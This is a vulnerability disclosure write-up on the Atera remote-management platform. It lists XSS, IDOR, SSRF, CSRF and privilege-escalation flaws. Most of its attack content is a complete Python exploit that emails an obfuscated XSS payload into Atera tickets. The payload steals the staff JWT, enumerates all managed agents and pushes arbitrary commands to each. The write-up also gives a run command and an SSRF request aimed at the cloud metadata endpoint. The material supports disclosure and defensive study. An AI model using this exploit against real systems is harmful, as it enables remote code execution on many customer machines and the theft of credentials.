Atera

To begin, we are still wating for a response from Atera’s (CISO)

Atera in 2021 was vulnerable to a XSS that allowed an attacker to trigger an RCE on all agents that it was managing. For this to succeed an attacker only had to create an ticket through email or portal also sending an XSS through chat was possible. Below the attack flow.

All XSS can trigger the Code execution flow on all agents or steal the JWT-Token. XSS1 - Sending XSS through email ticket -> Remote attacker can use this to execute code on agents XSS2 - Sending XSS through portal ticket -> Remote attacker can use this to execute code on agents XSS3 - Sending XSS through Chat (agent -> technical/admin) -> Remote attacker can use this to execute code on agents XSS4 - in admin logging XSS5 - in tags

IDOR1 - Account takeover, with a valid customerportal account it is possible to add this to any other customer account, change email, make primary contact, etc IDOR2 - Privilege escalation from technical user to Admin

SSRF - PDF allows to embed a iframe to include local files or request internal/external hosts

Sensitive data exposure - all customer information is readable through customerportal, data like password-hashes, tickets created, Personal information

CSRF - The code execution flow for the agents are missing CSRF protection.

Privilege escalation on endpoint - the Splashtop Streamer used by the agents is vulnerable to DLL proxying, it is possible to execute arbitrary code under SYSTEM rights.

import smtplib
from base64 import b64encode
import argparse

class exploit:
    def __init__(self, dstemail, frmemail, smtpsrv, command):
        self.smtpsrv = smtpsrv
        self.command = command
        self.dstemail = dstemail
        self.frmemail = frmemail

    def run(self):

        payload = self.prepXssEventPayload()
        try:
            msg  = """From: {frmemail}
To: {dstemail}
Subject: Attention1!
Content-type: text/html

<script>eval(atob("{payload}"));</script>
\r\n\r\n""".format(dstemail=self.dstemail,frmemail=self.frmemail, payload=payload)
            # print (msg)
            server = smtplib.SMTP(self.smtpsrv)
            server.sendmail(self.frmemail, self.dstemail, msg)
            server.quit()
            print ("Payload dropped, now wait for a user to access the ticket.")
        except Exception as e:
            print (e)

       
    def prepXssEventPayload(self):
        xsspayload = """function getJWT() {{
    return new Promise( resolve => {{
        
        var iframe = document.createElement('iframe');
        iframe.style.display = "none";
        iframe.src = "/auth0.html";
        document.body.appendChild(iframe);
        console.log("injected iframe")
        
        
        setTimeout(() => {{  resolve(localStorage.getItem("X-Atera-JWT")) }}, 10000);
        }}
    )
}}



function request(m, url, token) {{
  return new Promise(function (resolve, reject) {{
    const xhr = new XMLHttpRequest();
    xhr.timeout = 2000;
    xhr.onreadystatechange = function(e) {{
      if (xhr.readyState === 4) {{
        if (xhr.status === 200) {{
          resolve(xhr.response)
        }} else {{
          reject(xhr.status)
        }}
      }}
    }}
    xhr.ontimeout = function () {{
      reject('timeout')
    }}

    xhr.open(m, url, true)
    xhr.responseType = 'json';
    xhr.setRequestHeader('Authorization', "Bearer " + token);
    xhr.send();
  }})
}}

async function FetchToken() {{
    var token = await getJWT(); 
    console.log("Got token: " + token);
    

agentGuid = '/breeze/GenericTicketing/Lookups/DevicesView_Advanced?$inlinecount=allpages&$orderby=AlertsPaused%20desc,%20TopSeverity%20desc,AlertsCount%20desc&CustomFieldsFilters=%7B%22All%22:%5B%5D,%22Any%22:%5B%5D%7D&AdvancedFilters=%7B%22All%22:%5B%5D,%22Any%22:%5B%5D%7D&DeviceType=-1&$top=2000000';
const userRequest = request("GET",agentGuid, token)
userRequest
//   .then(getJWT)
  .then(getAgents)
  .then(getKeys)
  .then(rce)
  .catch(handleErrors)
  
function getAgents(agents) {{
    console.log("Fetching agents")
    //console.log(agents)
    return Promise.all(agents.Results.map(function(_Agents) {{
      for (var key in _Agents){{
        console.log(_Agents.DeviceGuid)
        DeviceGuid = _Agents.DeviceGuid
        console.log("DeviceGuid: " + DeviceGuid)
        url = '/interactivepackages/grant?interactivePackageName=Powershell&agentGuid='+DeviceGuid;
        a = request("POST", url,token)
        console.log(a)
        return a
      }}
        
    }}))
}}

function getKeys(agentKeys) {{
  return Promise.all(agentKeys.map(function(_Keys) {{
      Channel = _Keys.Channel
      PubKey = _Keys.PubKey
      SubKey = _Keys.SubKey
      console.log("Keys: " + Channel, PubKey, SubKey, DeviceGuid)
      url = '/package/requestguid?agentGuid='+DeviceGuid+'&packageName=AgentPackageRunCommandInteractive&packgeCommand='+Channel+'%201%20123456789012';
      request("POST", url, token)
      return Channel, PubKey, SubKey, DeviceGuid
  }})) 
}}

function rce(_Keys) {{
  return Promise.all(_Keys.map(function(key) {{
      console.log(key)
      rce="{command}"
      command = "{{\\"MessageType\\":0,\\"CommandText\\":\\""+rce+"\\"}}";
      console.log("Executing: " + rce)
      url = 'https://p2.pndsn.com/publish/'+PubKey+'/'+SubKey+'/0/'+Channel+'/0/'+command;
      setTimeout(() => {{  request("GET", url,token) }}, 2000);
      
      console.log("Finished")
       return "Finished"
  }})) 
}}

function handleErrors(error) {{
  console.error('Something went wrong ', error)
}}
}}
FetchToken();""".format(command=self.command)

        payload_bytes = xsspayload.encode('ascii')
        base64_bytes = b64encode(payload_bytes)
        base64_payload = base64_bytes.decode("utf-8")
        payload = base64_payload
        return payload


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='ZeroClick XSS to RCE in Atera agents')
    parser.add_argument('--dstemail', '-d',
                    required=True,
                    help='Destination email')
    parser.add_argument('--frmemail', '-f',
                    required=True,
                    help='From email')
    parser.add_argument('--smtpsrv', '-s',
                    required=True,
                    help='SMTP server')
    parser.add_argument('--command', '-c',
                    default="whoami > c:/wbsec.txt",
                    help='command to execute')
   

    args = parser.parse_args()
    dstemail = args.dstemail
    frmemail = args.frmemail
    smtpsrv = args.smtpsrv
    command = args.command
  

    x = exploit(dstemail,frmemail,smtpsrv,command)
    x.run()

running this code python3 poc.py -d AutoMail470578236@ticketing.atera.com -f attacker@example.com -s inbound-smtp.eu-west-1.amazonaws.com:25 -c notepad.exe will result in notepad being executed like in the screenshots below or this POC

Cookie reflected Cookie reflected

SSRF in IFRAME in PDF generator (Might not be resolved?)

POST /reports/export/pdf HTTP/1.1
Host: app.atera.com

html=%253Cdiv%253E%250A%253Ciframe%2520src%253D%2522http%253A%252F%252F169%252E254%252E169%252E254%252Fmetadata%252Finstance%253Fapi%252Dversion%253D2017%252D04%252D02%2522%253E%253C%252Fiframe%253E%250A%253C%252Fdiv%253E
Cookie reflected

Product description

  • All-in-one, One comprehensive RMM solution built for IT professionals.

Remote Monitoring and Management, Remote Access, Helpdesk, Billing, and Reporting. You get every feature, every tool — everything you need — to streamline your workflow and start looking forward to Monday mornings again.

POC

https://www.atera.com

CVE’s

No CVE because it is a SaaS application.

CVE-2021-43402 Privilege escalation on endpoints discoverd by Hidde Smit